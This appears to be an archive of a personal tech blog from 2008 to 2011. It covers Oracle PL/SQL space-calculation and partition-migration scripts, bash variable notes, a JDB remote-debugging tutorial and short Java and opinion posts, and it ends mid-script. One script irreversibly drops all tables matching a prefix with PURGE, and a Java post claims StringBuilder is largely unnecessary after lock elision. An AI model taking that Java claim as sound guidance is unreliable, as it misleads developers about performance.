The Tech Chronicles

Oracle plsql procedured for table/tablespace size calculation

2011-10-07T11:40:00.000-07:00

To list partitions of a table

 select partition_name from user_tab_partitions  
 where table_name='<tablename>'  
 and tablespace_name='<tablespace_name>'  
 order by partition_position;

Pl/sql script to drop tables beginning with prefix

 --------------------------------------------------------------------  
 -- Delete tables starting with prefix  
 --------------------------------------------------------------------  
 DECLARE  
    v_stmt_del varchar2(200);  
    tabname varchar2(200);  
    cursor c1 is select table_name from dba_tables where table_name like 'TABPREFIX_N%';  
   begin  
    open c1;  
    loop  
        fetch c1 into tabname;  
        exit when c1%notfound;  
        v_stmt_del := 'drop table <tablespace>.' || tabname || ' purge';  
        dbms_output.put_line(v_stmt_del);  
        execute immediate v_stmt_del;  
   end loop;  
   close c1;  
  end;  
  /

SQL query to print space used in tablespaces grouped by tablespace name

 ----------------------------------------------------------------------------------------------------------------------  
 space in tablespaces  
 ----------------------------------------------------------------------------------------------------------------------  
 select d.status,  
  db.name dbname,  
  d.tablespace_name tsname,  
  d.extent_management,  
  d.allocation_type,  
  to_char(nvl(d.min_extlen / 1024, 0),  
   '99G999G990D90', 'NLS_NUMERIC_CHARACTERS = '',.'' ')  
   "ALLOC_SIZE (K)",  
  d.contents "Type",  
 case  
 when(d.contents = 'TEMPORARY') then  
  to_char(nvl(a.bytes / 1024 / 1024, 0),  
  '99G999G990D90', 'NLS_NUMERIC_CHARACTERS = '',.'' ')  
 else  
  to_char(nvl(t.bytes / 1024 / 1024, 0),  
  '99G999G990D90', 'NLS_NUMERIC_CHARACTERS = '',.'' ')  
 end as "Size (M)",  
  to_char(nvl((a.bytes - nvl(f.bytes, 0)) / 1024 / 1024,  0),  
  '99G999G990D90', 'NLS_NUMERIC_CHARACTERS = '',.'' ')  
  "Used (M)",  
  to_char(nvl((a.bytes - nvl(f.bytes, 0)) / a.bytes * 100,  0),  
  '990D90', 'NLS_NUMERIC_CHARACTERS = '',.'' ')  
  "Used (%)"  
 from sys.dba_tablespaces d,  
   (select tablespace_name,  
    sum(bytes) bytes  
   from dba_data_files  
   group by tablespace_name)  
 a,  
   (select tablespace_name,  
    sum(bytes) bytes  
   from dba_temp_files  
   group by tablespace_name)  
 t,  
   (select tablespace_name,  
    sum(bytes) bytes  
   from dba_free_space  
   group by tablespace_name)  
 f,  
  v$database db  
 where d.tablespace_name = a.tablespace_name(+)  
  and d.tablespace_name = f.tablespace_name(+)  
  and d.tablespace_name = t.tablespace_name(+)  
 order by 10 desc;

Show space occupied by each partition of table

2011-10-07T11:20:00.000-07:00

Oracle plsql procedure to print size details of table (partitioned and non-partitioned)

 -------------------------------------------------------------------------------------------------------------  
 ------ ######## show_space : prints space of a single partition or a table ---------------------------------  
 -------------------------------------------------------------------------------------------------------------  
 create or replace  
 procedure show_space  
 ( p_segname in varchar2,  
  p_owner  in varchar2 default user,  
  p_type  in varchar2 default 'TABLE',  
  p_partition in varchar2 default NULL )  
 authid current_user  
 as  
   l_free_blks         number;  
   l_total_blocks       number;  
   l_total_bytes        number;  
   l_unused_blocks       number;  
   l_unused_bytes       number;  
   l_LastUsedExtFileId     number;  
   l_LastUsedExtBlockId    number;  
   l_LAST_USED_BLOCK      number;  
   t_segment_space_management varchar2(10);  
   l_unformatted_blocks     number;  
   L_FS1_BLOCKS          number;  
   L_FS2_BLOCKS          number;  
   L_FS3_BLOCKS          number;  
   L_FS4_BLOCKS          number;  
   L_FULL_BLOCKS          number;  
   L_UNFORMATTED_BYTES          number;  
   L_FS1_BYTES               number;  
   L_FS2_BYTES               number;  
   L_FS3_BYTES               number;  
   L_FS4_BYTES               number;  
   L_FULL_BYTES          number;  
   procedure p( p_label in varchar2, p_num in number )  
   is  
   begin  
     dbms_output.put_line(p_label || p_num);  
     --dbms_output.put_line( rpad(p_label,40,'.') ||p_num );  
   end;  
 begin  
   for x in ( select tablespace_name from dba_tablespaces where tablespace_name IN ( select tablespace_name from dba_segments where segment_type = p_type AND segment_name = p_segname))  
   loop  
   if p_partition is not null  
   then  
        select ts.segment_space_management  
      into  t_segment_space_management  
      from  dba_segments   seg  
  ,       dba_tablespaces ts  
      where seg.segment_name  = p_segname  
         and  seg.owner      = p_owner  
         and  seg.tablespace_name = ts.tablespace_name  
         AND SEG.PARTITION_NAME = p_partition;  
   else  
         select ts.segment_space_management  
           into  t_segment_space_management  
           from  dba_segments   seg  
        ,       dba_tablespaces ts  
           where seg.segment_name  = p_segname  
              and  seg.owner      = p_owner  
         and  seg.tablespace_name = ts.tablespace_name;  
   end if;  
   if t_segment_space_management = 'AUTO'  
  then  
    dbms_space.space_usage (  
     p_owner,  
     p_segname,  
     p_type,  
     l_unformatted_blocks,  
     l_unformatted_bytes,  
     l_fs1_blocks, l_fs1_bytes,  
     l_fs2_blocks, l_fs2_bytes,  
     l_fs3_blocks, l_fs3_bytes,  
     l_fs4_blocks, l_fs4_bytes,  
     l_full_blocks, l_full_bytes,  
     p_partition  
    );  
    --  
    p( 'Unformatted Blocks ', l_unformatted_blocks );  
    p( 'FS1 Blocks (0-25) ', l_fs1_blocks );  
    p( 'FS2 Blocks (25-50) ', l_fs2_blocks );  
    p( 'FS3 Blocks (50-75) ', l_fs3_blocks );  
    p( 'FS4 Blocks (75-100)', l_fs4_blocks );  
    p( 'Full Blocks    ', l_full_blocks );  
    else  
    dbms_space.free_blocks(  
     p_owner,  
     p_segname,  
     p_type,  
     0,  
     l_free_blks,  
     NULL,  
     p_partition);  
    --  
    dbms_output.put_line('Free Blocks' || l_free_blks);  
    p( 'Free Blocks', l_free_blks );  
  end if;  
   end loop;  
   dbms_space.unused_space  
   ( p_owner,  
    p_segname,  
    p_type,  
    l_total_blocks,  
    l_total_bytes,  
    l_unused_blocks,  
    l_unused_bytes,  
    l_LastUsedExtFileId,  
    l_LastUsedExtBlockId,  
    l_LAST_USED_BLOCK,  
    p_partition);  
   p( 'Free Blocks', l_free_blks );  
   p( 'Total Blocks', l_total_blocks );  
   p( 'Total Bytes', l_total_bytes );  
   p( 'Total MBytes ' || p_segname || ',' || p_partition || '=', trunc(l_total_bytes/1024/1024) );  
   p( 'Unused Blocks', l_unused_blocks );  
   p( 'Unused Bytes', l_unused_bytes );  
   p( 'Last Used Ext FileId', l_LastUsedExtFileId );  
   p( 'Last Used Ext BlockId', l_LastUsedExtBlockId );  
   p( 'Last Used Block', l_LAST_USED_BLOCK );  
 end;  
 /

Print size of all partitions of a table or the size of the table if not partitions, using show_space

 -----------------------------------------------------------------------------------------------------------------------------------------------  
 ------ ######## print_size : prints size of all partitions of a table or the size of table if its not partitioned ----------------------------  
 -----------------------------------------------------------------------------------------------------------------------------------------------  
  create or replace  
  procedure print_size  
  ( p_segname in varchar2,  
   p_owner  in varchar2 default user,  
   p_type  in varchar2 default 'TABLE')  
  authid current_user  
  as  
      pname dba_tab_partitions.partition_name%type;  
      cursor c1 is select partition_name from dba_tab_partitions where table_name = p_segname;  
  begin  
       if p_type = 'TABLE PARTITION'  
       then  
           open c1;  
           loop  
                     fetch c1 into pname;  
                     EXIT WHEN c1%NOTFOUND;  
                     dbms_output.put_line('Executing' || pname);  
                     show_space(p_segname, p_owner, p_type, pname);  
                end loop;  
           close c1;  
      else  
           show_space(p_segname, p_owner, p_type, null);  
      end if;  
  end;  
  /

print the size of

 --------------------------------------------------------------------------------------------------------  
 ------ ######## anonymous proc : get size of all tables with name like SUM% ----------------------------  
 --------------------------------------------------------------------------------------------------------  
  declare  
     tabrec dba_tables%rowtype;  
       cursor c1 is select * from dba_tables where table_name like 'SUM%' and PARTITIONED = 'NO';  
  begin  
       open c1;  
       loop  
            fetch c1 into tabrec;  
            exit when c1%notfound;  
            print_size(tabrec.table_name, tabrec.owner, 'TABLE');  
       end loop;  
       close c1;  
  end;  
  /

 --------------------------------------------------------------------------------------------------------  
 ------ ######## anonymous proc : get name of all partitioned tables that are like SUM% ----------------  
 --------------------------------------------------------------------------------------------------------  
  declare  
      tabrec dba_tables%rowtype;  
        cursor c1 is select * from dba_tables where table_name like 'SUM%' and PARTITIONED = 'YES';  
   begin  
        open c1;  
        loop  
             fetch c1 into tabrec;  
             exit when c1%notfound;  
             print_size(tabrec.table_name, tabrec.owner, 'TABLE PARTITION');  
        end loop;  
        close c1;  
   end;  
  /

Oracle space required for table partition copy

2011-10-07T09:44:00.000-07:00

In a recent task we had a task to move oracle tables from one tablespace to the other. The motivation came due to excessive fragmentation at the tablespace level (both honeycomb and bubble). A nice explanation to the tablespace level fragmentation and is resolution strategy can be found here (http://www.dbspecialists.com/files/presentations/dw_space.html).

The potential problem was online copy of the tables (with only reads, no writes should be happening). The advantages we had were

tables were partitioned
Indexes on the table were local indexes (partitioned indexes)

The problems were

We only had a small space left as the data files were growing out of bounds so we had to move one table at a time
Due to heavy fragmentation and tables occupying the higher water mark, move of one table might not solve the issue
We had to do the move online as tables were being read from servers (but not updated). Update happened only once in a day for a few hours.

Strategy

What we planned was

Move the largest table first to get maximum space released from the tablespace.
If the higher water mark got free, we could shrink the tablespace and free up the files to allocate it to the new tablespace as defined to resolve the fragmentation issues.
Allocate the freed up files to the new tablespace and move more tablespaces to it.

** We did get into more trouble as the step 2 did not work out. More on that later.

Execution

We came up with a script to copy the partitioned tables to the new tablespace. The script did the following

Group partitions in a batch from the old table which are still in the old tablespace
for each batch
Check space available in the new tablespace for the batch copy
If space not available exit, else
for each partition in the batch

open an sqlplus session
create a table from the old table partition in the new tablespace

create table as select * from partition ()

create index on the
exchange partition with the new table created in the new tablespace

alter table exchange partition with table including indexes without validation;

drop the exchanged old table

Goto step 2.

The whole exercise had a lot of learning for me, but the one I am going to highlight in this post is step 3.

Calculating size

What the size calculation script would do is

Get total available free space in the new tablespace, say, availableNewTS
Get the space occupied in the old tablespace by each partition and the index on the partition, say, requiredOldTS
return availableNewTS > requiredOldTS, else exit

Step 1: - Calculating available free space in the new tablespace

The following plsql function does the job

 FUNCTION getTsSpace(tsname varchar2) return Number   
    is        
      availableSizeInMB Number;   
    BEGIN        
       SELECT nvl(nvl(a.bytes, 0)/1024/1024,0) + nvl(nvl(f.bytes, 0) / 1024 / 1024, 0) into availableSizeInMB   
       FROM dba_tablespaces d   
       left join    
        ( SELECT tablespace_name, (sum(maxbytes) - sum(bytes)) bytes    
        FROM dba_data_files   
        group by tablespace_name) a on d.tablespace_name = a.tablespace_name   
       left join   
        ( SELECT tablespace_name,sum(bytes) bytes   
        FROM dba_free_space   
        group by tablespace_name) f on d.tablespace_name = f.tablespace_name   
      WHERE d.tablespace_name = tsname;   
      return availableSizeInMB;   
      EXCEPTION    
         when NO_DATA_FOUND   
         then   
           DBMS_OUTPUT.PUT_LINE('Probably tablespace does not exist - ' || tsname);   
            NULL;                      
    END;

What the function above does is

Get the maxbytes = maximum extendable size of the datafile from dba_data_files view
Get the bytes = current size of the datafile from dba_data_files
(1-2) = size that is still available to the datafile to be extended to
Get bytes from dba_free_space = free space in the datafile (space that is not currently been allocated to any segment)
(4+3) = total space that is available in the tablespace to be allocated to any segment

Step 2: Calculating space occupied by the table in the old tablespace

 --------------------------------------------------    
  - Function to get segment space   
  --------------------------------------------------         
  FUNCTION getSegSpace(tabname varchar2, segmentOTs varchar2, segType varchar2, partns varchar2) return number     
  is   
    var_select_stmt varchar2(2000);   
    partitionsIn varchar2(500);   
    requiredSizeInMB Number;   
  BEGIN   
    -- hack : to get the in-clause string is passed from script with separator as @ char and here it is   
    -- replaced to make it in format of IN clause of string    
    select '''' || regexp_replace(partns,'@', ''',''') || '''' into partitionsIn from dual;       
    var_select_stmt := 'SELECT sum(bytes)/1024/1024 FROM dba_segments WHERE segment_name=''' || tabname || ''' and segment_type=''' || segType || ''' and tablespace_name=''' || segmentOTs || ''' and partition_name in (' || partitionsIn || ') group by tablespace_name';   
    EXECUTE IMMEDIATE var_select_stmt into requiredSizeInMB;       
    return requiredSizeInMB;   
    EXCEPTION   
    when NO_DATA_FOUND   
      then           
         raise_application_error(-20101, 'No data found for - ' || partitionsIn || ' in tablespace ' || segmentOTs);   
      NULL;   
  END;

What the above function does is calculate segment space for the segment (table or index).

tabname - segment name (either table or index name)

segmentOTs - old tablespace of the segment

segType - type of segment ("TABLE PARTITION" - partitioned table, "INDEX PARTITION" - partitioned index)

partns - An @ separated string of partitions whose size is to be calculated. This was a hack that I had to put to pass the name of partitions from a bash script and then use it in the sql as an "IN" clause.

What the function "getSegSpace" does is

use "dba_segments" to get sum of bytes occupied by the segment "tabname", with segment type as "INDEX PARTITION" or "TABLE_PARTITION" where partition_name is in "partitionsIn" string and which belong to the old tablespace.
One of the challenges here was getting the IN clause from bash script to the sql. I had to use a regexp_replace to replace the @ symbols with " ". So the bash passes the "partns" argument as "SYS_1231@SYS_4234@SYS_9823" and it gets converted into SYS_1231SYS_9823SYS_4234 - which is the IN clause required in the dynamic query. The dynamic query was then executed to get the size occupied.

Related SQL errors

ORA-01652: unable to extend temp segment by 128 in tablespace SUM_M_PART_INDEX - During migration the space was exhausting in the new tablespace which was the need to write the space calculation script. Hence, before the batch started executing for partition copy we made sure the tablespace had enough space to copy the partitions

Bash Usefuls

2011-10-02T01:02:00.000-07:00

1. Find out bash version
BASH_VERSINFO is a length 6 array that hold information of the bash version

 for v in 0 1 2 3 4 5  

  do  
    echo "BASH_VERSINFO[$v] = ${BASH_VERSINFO[$v]}"  
  done  
  Output:   
    BASH_VERSINFO[0] = 3    
    BASH_VERSINFO[1] = 00  
    BASH_VERSINFO[2] = 16  
    BASH_VERSINFO[3] = 1  
    BASH_VERSINFO[4] = release  
    BASH_VERSINFO[5] = i386-pc-solaris2.10

2. $FUNCNAME

   Name of the currently executing function

    getIndex ()  
   {  
    echo "FUNCNAME=$FUNCNAME starting" #Output - FUNCNAME=getIndex starting  
   }  
   getIndex  
   echo "FUNCNAME = $FUNCNAME" #Output - FUNCAME =  
                   # prints blank when there is no current function

3. $IFS - Internal field separator

   Defines field/word boundaries when bash reads a character stream. Default is whitespace i.e., space, tab or a newline.

   bash$ export var="a:b:c:d"  
   bash$ echo $var   
      a:b:c:d  
   bash$ export IFS=':'  
   bash$ echo $var  
      a b c d

4. $PIPESTATUS - Array containing status(es) of last executed pipe

    bash$ ls -al | badcomm  
 bash$ echo ${PIPESTATUS[0]}  
 0          #normal execution for ls -al   
 bash$ ls -al | badcomm  
 bash$ echo $?    
 127          #gives command not found exit code. Hence exit code of the last command is captured  
 bash$ ls -al | badcomm  
 bash$ echo ${PIPESTATUS[1]}  
 127          #array value at index 1 contains exit code for badcomm

5. $SECONDS - No. of seconds the script has been executing

 for (( i=0; i<10000000; i++ ))  
 > do  
 >    echo $SECONDS;  
 >    sleep 5;  
 > done;  
 40962  
 40967

6.  $$ - PID of the executing script

7.  $? - Exit status of a command, function or script

8.  $_ - Special variable set to final argument of previous command executed

9.  $! - PID of the last job run in background

10. $# - No of command-line args or positional parameters to a function or script

11. $* - All of the positional parameters seen as a single word

12. $@ - Same as $*, but each parameter is a quoted string, that is, the params a         re passed on intact, without interpretation or expansion. This means, am         ong other things, that each parameter in the argument list is seen as a          separate word.

13. ${#string} - Length of the string

14. Index of substring - expr index $string $substring

15. ${string:position} - Extracts substring from $string at $position.

16. ${string:position:length} - Extracts $length characters of substring from $string at $position.

17. expr match "$string" '\($substring\)' - Extracts $substring at beginning of $string, where $substring is a regular expression

18. expr "$string" : '\($substring\)' - Extracts $substring at beginning of $string, where $substring is a regular expression.

19. expr match "$string" '.*\($substring\)' - Extracts $substring at end of $string, where $substring is a regular expression

20. expr "$string" : '.*\($substring\)' - Extracts $substring at end of $string, where $substring is a regular expression.

21. ${string#substring} - Deletes shortest match of $substring from front of $string.

22. ${string##substring} - Deletes longest match of $substring from front of $string.

23. ${string%substring} - Deletes shortest match of $substring from back of $string.

24. ${string%%substring} - Deletes longest match of $substring from back of $string.

25. ${string/substring/replacement} - Replace first match of $substring with $replacement.

26. ${string//substring/replacement} - Replace all matches of $substring with $replacement.

27. ${string/#substring/replacement} - If $substring matches front end of $string, substitute $replacement for $substring.

28. ${string/%substring/replacement} - If $substring matches back end of $string, substitute $replacement for $substring.

Debugging with Java Debugger (JDB)

2011-07-28T10:56:00.000-07:00

Debugging a program forms an integral part of development. I am no Linus Trovalds or Richard Stallman and I am bound to make mistakes, sometimes trickier ones which need to be debugged on the server. If you have a working condition like mine you would need a console based java debugger.

My development environment – I work on solaris zones with the zone physically present in US very far from India where I work. Connecting the IDE debuggers to the remote zones is very slow and many a times not worth the effort.

My recently found love, JDB (java debugger) has made my life a lot more interesting at the workplace. I can now hook onto the server from the shell, present on the remote zone itself, and hence very fast to debug. And top of all, it’s damn easy to work with it. But the real charm is how easily I can modify code in VI, compile and redefine the classes without a restart of the servers (restarting our server takes close to 4-5 minutes on a sunny day but otherwise it might take anything close to 10-17 mins).

Let’s start.

The configuration-
@server – The remote java application that is to be debugged needs to open a port for the JDB client to connect. This is achieved by adding the following to java start command
```
 -agentlib:jdwp=transport=dt_socket,address=<port>,server=y,suspend=n  
```
Where,
- port: the debug port you want to (and is available) to open
Now start the remove jvm.

Start the JDB client and connect to remote jvm

 jdb -sourcepath <source-path> -attach <port>

source-path: the directory where the source code for the remove jvm's application classes are. For multiple directories use ":" as a separator

port: debug port which the remote jvm has exposed for debugging (see step 1 above)

 myconsole) jdb -sourcepath /usr/home/myproject/src -attach 8007  
  myconsole) Initializing jdb ...  
  > |

Adding a breakpoint - Say you want to put breakpoint at "com.my.login.Client" class, inside the method authenticateUser(). Here is the method snipped I worked with

117:   package com.my.login;  
118:   public class Client  
119:   public boolean authenticateUser(String userName, String encryptedPwd) throws LoginFailedException  
120:   {  
121:    validateName(userName);  
122:    validateEncryptePwd(encryptedPwd);  
123:    User user = fetchUserByName(userName);  
124:    checkNull(user, userName);  
125:    return matchPassword(encryptedPwd, user);  
126:   }

 > stop at com.my.login.Client:123

 Set breakpoint com.my.login.Client:123

 Breakpoint hit: "thread=main(1)", com.my.login.Client.authenticateUse(), line=123, bci=0  
 123 User user = fetchUserByName(userName);

Inspect commands: To inspect the current frame (state) jdb provides some very valuable methods

list: Print the code where the execution pointer is. It prints a few lines around the execution pointer as well

 thread=main(1) list  
 121      validateName(userName);  
 122      validateEncryptePwd(encryptedPwd);  
 123 =>  User user = fetchUserByName(userName);  
 124      checkNull(user, userName);  
 125      return matchPassword(encryptedPwd, user);  
 thread=main(1)

In the above, => shows the current execution pointer which is where we had put a breakpoint in the previous step.

print <variable>: prints the value of the variable. For an Object it displays the toString output.
```
 thread=main(1) print userName  
  userName = "guest.user"  
```

dump <variable>: if is an object it'll dump all the field values else it'll print the value of the variable.

 thread=main(1) dump user  
  user = {   
       name: "guest.user"  
       loginId: 11201  
       lastLogin: 1311085508  
       lastActivityTimeStamp: 1311085704  
       pwd: "Zcxyav12xff0xff"  
       serialVersionUID: -4772765677915468258  
  }

Proceed Execution

next: Proceed execution to the next instruction. Equivalent to a step over

 thread=main(1) next  
  >  
  Step completed: "thread=main(1)", com.my.login.Client.authenticateUser(), line=123 bci=52  
 124      checkNull(user, userName);

step in: Steps in the current instruction.

step up: Steps up to the parent frame. Equivalent to execute and return

Redefine classes: The charm of JDB. Redefining a class is as easy as you can imagine.

 > redefine com.my.login.Client /path/to/classes/com/my/login/Client.class

There are many other commands in JDB. All in all it has become highly valuable in my programmer's arsenal

HornetQ - From a developer to a developer

2011-07-24T03:21:00.000-07:00

Facebook's commitment towards privacy

2011-07-19T10:38:00.000-07:00

I stumbled upon an article, beautifully covering the Facebook's privacy statement. I was shocked at how "candyfloss-ed" it is. The privacy statement has been changing, rather moulding to suit the business needs over the years.

Upon reading other articles, some from Stallman, and at NY times, i figure out that the privacy is just a cover-up on what a user sees and shares to the people (network) he/she sees. But in true terms privacy would mean "keeping user's behavior restricted or guided as per user's will". Sincerely i fail to see that. I generally have certain questions/thoughts coming up every time I use Facebook. I hope someone shares his/her point on view on these -

Why is a User's account not deleted from Facebook. I have deactivated and visited my account about 6-7 month's later and it was all intact. On the contrary, the people who i had crossed in Friend suggestions, started appearing back.
Facebook can't be trusted, they can close account at will and because of changing business reasons. Users have been complaining.
Facebook has been trying to be monopolistic. Is it not similar to Microsoft's historic monopoly case.
An amazing graphic showing how facebook privacy has evolved over the years. From the default privacy settings it is very much clear what facebooks intends to achieve.
There have been a lot of doubts on trackings done through the "Like" button. It has been in doubt (i am not sure about this though) the "Like" button tracks users who dont even have an account on Facebook.
Automatic face recognition has been in question for privacy since it was rolled out.
Another milestone in privacy was the "Regulation of Investory Powers Act 2010". If this failed, why is Facebook not being questioned?
I found the timeline below on how Facebook's privacy statement evolved over the years of its existence. Its worth a look.

The article was posted at NY times. I found it worth sharing it on my blog.

As Richard Stallman puts it - "you are its(Facebook's) product, not its customer".

Java Lock Eliding

2011-04-23T20:58:00.000-07:00

The Java™ language has been through a lot of cribbing and name swears when it comes to performance. As Java, the language, stands today, it has gone through a lot of changes related to performance. One such change in Java 6 was Lock eliding. This one comes to be one of my favorite changes because i dont really concur with the idea that this is actually useful (until and unless you have been an awful programmer)

Lock Eliding - the change
In very basic and crude terms, "if the lock is limited to the local scope, jvm evades locking". So, if there is a local method that is to be used by just one thread locally, jvm does not use locking since the critical section belongs to just one thread's stack.

For e.g. consider the code below

 public void test()  
   {  
     Object mutex = new Object();  
     synchronized(mutex)  
     {  
      //my critical section  
     }  
   }

The lock on mutex is local to a thread and hence synchronization on it does not hold any significance. Hence JVM will elide locking.

We understand that the code above is dumb and no sensible programmer would ever write such code. But consider a StringBuffer used locally in a method. Since StringBuffer is a thread safe class and JVM applies a lock on its methods, earlier JDK code would apply locks. With lock eliding StringBuffer is as cool as a StringBuilder.

Now the question - So do we now need a StringBuilder?
Probably not anymore. On the other hand it would always be better to use StringBuffer and let the compiler figure out when to use locking and when to avoid it.

So Vectors, StringBuffers are back in fashion after this JVM release.

PLSQL endeavours - 1

2009-10-06T10:59:00.000-07:00

Among my recent tiny endeavours was this, where i had to create sequences which were starting at "one greater than some table column's max value". Its simple and banal, but i had a hard time googling for a ready-made stuff. I had to write one eventually.

I thought i should post it, as it would help others (if SEO somehow works n allows to find this page :), anyways an all time reference for me).

 DECLARE  
 sql_stmt VARCHAR2(1200);  
 maxi Number(10) := 900;  
 dimTable VARCHAR2(200);  
 dimseq VARCHAR2(200);  
 PROCEDURE create_max_sequences( tableColumn VARCHAR2 ) is  
 BEGIN  
 dimTable := 'TABLE_PREF' || tableColumn || 'TABLE_SUFFIX';  
 dimseq := 'SEQUENCE_PREF' || tableColumn || 'SEQUENCE_SUFFIX';  
 sql_stmt := 'select max(' || tableColumn || '_id) + 1 from ' || dimTable;  
 dbms_output.put_line('Executing = '|| sql_stmt);  
 EXECUTE IMMEDIATE sql_stmt into maxi;  
 dbms_output.put_line('Max id count is = ' || maxi);  
 sql_stmt := 'DROP SEQUENCE ' || dimseq;  
 BEGIN  
 dbms_output.put_line('Dropping sequence = ' || dimseq);  
 EXECUTE IMMEDIATE SQL_STMT;  
 EXCEPTION  
 when OTHERS then  
 dbms_output.put_line('sequence ' || dimseq || ' does not exist');  
 END;  
 dbms_output.put_line('sequence ' || dimseq || ' dropped');  
 SQL_STMT := 'CREATE SEQUENCE ' || dimseq || '  
 increment by 1  
 start with ' || maxi || '  
 NOMAXVALUE  
 minvalue 1  
 nocycle  
 nocache  
 noorder';  
 dbms_output.put_line('Creating sequence : ' || dimseq);  
 EXECUTE IMMEDIATE sql_stmt;  
 dbms_output.put_line('sequence ' || dimseq || ' created ');  
 END;  
 BEGIN  
 create_max_sequences('COL1');  
 create_max_sequences('COL2');  
 create_max_sequences('COL3');  
 create_max_sequences('COL4');   
 END;  
 /

Eclipse ganymede problem of Ctrl + Shift + R open resource

2009-10-02T03:30:00.000-07:00

I was working in the usual way on my eclipse ganymede, like in the lyrics "falling even more in love with you". I integrated my task repository to work with Jira, so that i can manage it all from the IDE. All works fine and more than just fine..awesome.
Satisfied with the placement of windows and views in the IDE, i was all set to dig into my new project's code, and here it comes.
I pressed the famous Ctrl+Shift+R to open resource, and a window pops up. And God i just could not believe it, it was empty!!! I typed in "B" to see if a name matches, and still nothing.
Did a bit of googling to find if i had a community, but no. I was all alone in this world. Trauma creept in and it seemed i was going into a depression. My eclipse was howling for help.
Then something clicked, n i checked. I had created a working set. I deleted it and viola all works fine. I took a cup of coffee, played my favorite "Alanis morissette - Hand In My Pocket" song (which just seemed perfect for the occasion) and relaxed.
Oops why is the SFtp plugin not working!!..more to that later.

Java Stack and Heap

2009-07-21T13:02:00.000-07:00

I keep hearing these questions in interviews and from people talking about what goes on stack and what goes on heap. I don't understand why this is confusing. I would like to put my thoughts on this. Though its been written and re-written elsewhere, i thought why not here as well.

Please correct me if my understanding is not right.

A heap in Java is used for storing "Objects". It does not get any simpler than this. While a stack is there to store the thread state for methods calls. When a method call is made a stack frame, essentially containing the state of the thread at that point is pushed onto the stack. The primitive local variables that are then created go on the stack. when the method returns the stack frame is popped up and the method execution continues.

Now the above gibberish makes it very evident that each thread gets its own stack. But the heap is shared and not thread safe. Hence concurrency lives.

Eager to hear from anyone reading this...is anyone there...hellooo...anyone?
Nevermind...i write anyways.

Good code, bad code..the winner is....the working code

2009-05-08T07:27:00.001-07:00

Yes, we have a dark horse as the winner this time, and for times to come. Ladies and gentlemen, what makes it to the podium this time and for the times to come....is the working code.
The code that rocks is the code that works. No matter how many times has it been patched, no matter how it has been patched. It just wins the heart of the mass.

I guess i am turning sadistic now...so i shut up. Time to re-read fountain head i guess.

We'll speak when the time comes. And we'll make it come pretty soon.

Hibernate Audit Interceptor - broken

2009-04-07T10:19:00.000-07:00

-------- I have spotted a few concurrency issues with the way audit logs have been suggested to be implemented. Will be updating the blog as soon as i fix them up. --------

Dark matter resurrected

2009-02-22T12:45:00.000-08:00

Its interesting to see how the world has changed in the past few years. From handing over people landline phone numbers to giving linkedIn, facebook or gamil id. Our identification system has changed.

But a noticeable change which I feel and live, is how reachable people are at any instant of the day. Its so noticeable, that I feel a connectivity cable flowing between each of us. Like the old age "dark matter". No matter where you go, you can be reached . And if u cant be reached...you become unsocial..the failure of web2.0 compliance. incredible and ridiculous how web has penetrated into our personal life and have changed definitions of our personal life.

With the advent of mobiles, social networking, we have witnessed a hybrid
of them all; rather a mashup; call it mobile blogging, moblog, microblogging, etc. I see the dark matter getting stronger and furthering its reach.

Still being a self-proclaimed technocrat, i see this as the next big thing in technology. With Google's android, adobe and nokia's Open Screen Project, tech oracles expect mobile social networking coming (or may be it has come already..just strengthening).

People are communicating in every way through their hand-held devices. I see my boss replying to mails through his IPhone even though a laptop might be lying around. People manage routines through PDA, phones.

But like web2.0 its still mostly for fun. As i see web 2.0 maturing from fun-oriented social networking to collaborative development using social networking, i presume mobile networking will mature the same way. All of them are following the "Just for fun" philosophy of linus torvalds in a way.

As a dreamer (or fantasizer ;) ), i see all this maturing to the limit where people are guided through these hand-held devices, not just the road directions but with health routines, travel planning, appointments and virtually every thinkable daily activity. A whole new horizon ( or pandemonium) is opening up. I wish i could avoid it, but its better to enjoy it rather than out of the herd.

Performance Tests on Coding Style - 1

2009-02-21T12:16:00.000-08:00

Some times API are designed for ease of use. Some methods don't make sense but on very rare scenarios and some do not make any sense. But they do determine the style of coding.
Ok, the more concrete thought is, there are some style of coding which is better in performance than others. But they are so minute that you dont even bother. But i do. and for people who do, i intend to put across performance result for such codes.
Here is the first and my favorite one.

There is a method to check if a value is there in a map or not. This is the general way a Java programmer codes this:

 if (map.containsKey(probableKey)) {  
       return map.get(probableKey);  
     }  
     return null;

Now what i suggest is why to query a map twice.

 Long value = map.get(probableKey);  
     if(value != null) {  
       return value;  
     }  
     return null;

From a lookof it. it suggests a performance betterment. But containsKey is supposed to be a constant time operation. does it matter much.

I dont think it does much. but aint it better..even if minutely.

A query to end all queries (rather doubts)

2008-12-06T13:56:00.000-08:00

The problem with doing significant things, is noticeability. With that comes helluva other wanted/unwanted attention. The problem magnifies further with others interests and wrong-doings thwarted upon the significant.

We recently migrated our application from an in-house data persistence framework to Hibernate. Hibernate does turn out to be one intelligent software. My next few posts would surely be more meaningful than this and would be on hibernate. The point with porting to hibernate is : we did something significant. And following the cycle explained a lot of things happen in/against my favor. A bug was registered by QA, it sounds really puzzling on the first go, but it did require some investigation.

The sequence we were using to generate ID of rows inserted in table was common for most of the tables in our schema. And between two successive inserts, QA found out a difference of 8 million rows. The difference indeed was intimidating.

My first doubt was our batch jobs that do a lot of background inserts. And some of 'em were real nasty ones. The question at hand was how to find the tables which got inserts between the two table inserts QA was interested in.

I am an aficionado of the "Lazy programming" methodology. To solve the question at hand i could have checked all tables and found out IDs which were between the ones mentioned in the bug. But laziness brought in the following script out of my head. This dude script gave me total number of inserts that happened.

 DECLARE  
   cursor c_invalid_recs_cur is  
       select ut.table_name from user_tables ut  
       where lower(ut.table_name) like 'cp_%'  
       or lower(ut.table_name) like 'lgt_%'  
       or lower(ut.table_name) like 'tf_%';  
   tablename user_tables.table_name%type;  
   tableSize NUMBER(30);  
   sql_stmt  VARCHAR2(500);  
   primaryKey VARCHAR2(500);  
   primary_key_name VARCHAR2(500);  
 BEGIN  
   open c_invalid_recs_cur;  
   loop  
            fetch c_invalid_recs_cur into tablename;  
           exit when c_invalid_recs_cur%NOTFOUND;  
            begin  
             primaryKey := 'SELECT cols.column_name FROM all_constraints cons, all_cons_columns cols WHERE cons.constraint_type = ''P'' AND cons.constraint_name = cols.constraint_name AND cons.owner = cols.owner AND cols.table_name = ''' || tablename || ''' ';  
             EXECUTE IMMEDIATE primaryKey into primary_key_name;  
             sql_stmt := 'select count(*) from ' || tablename || ' where ' || primary_key_name || ' > 211858819 and ' || primary_key_name || ' < 212584290' ;  
            EXECUTE IMMEDIATE sql_stmt into tableSize ;  
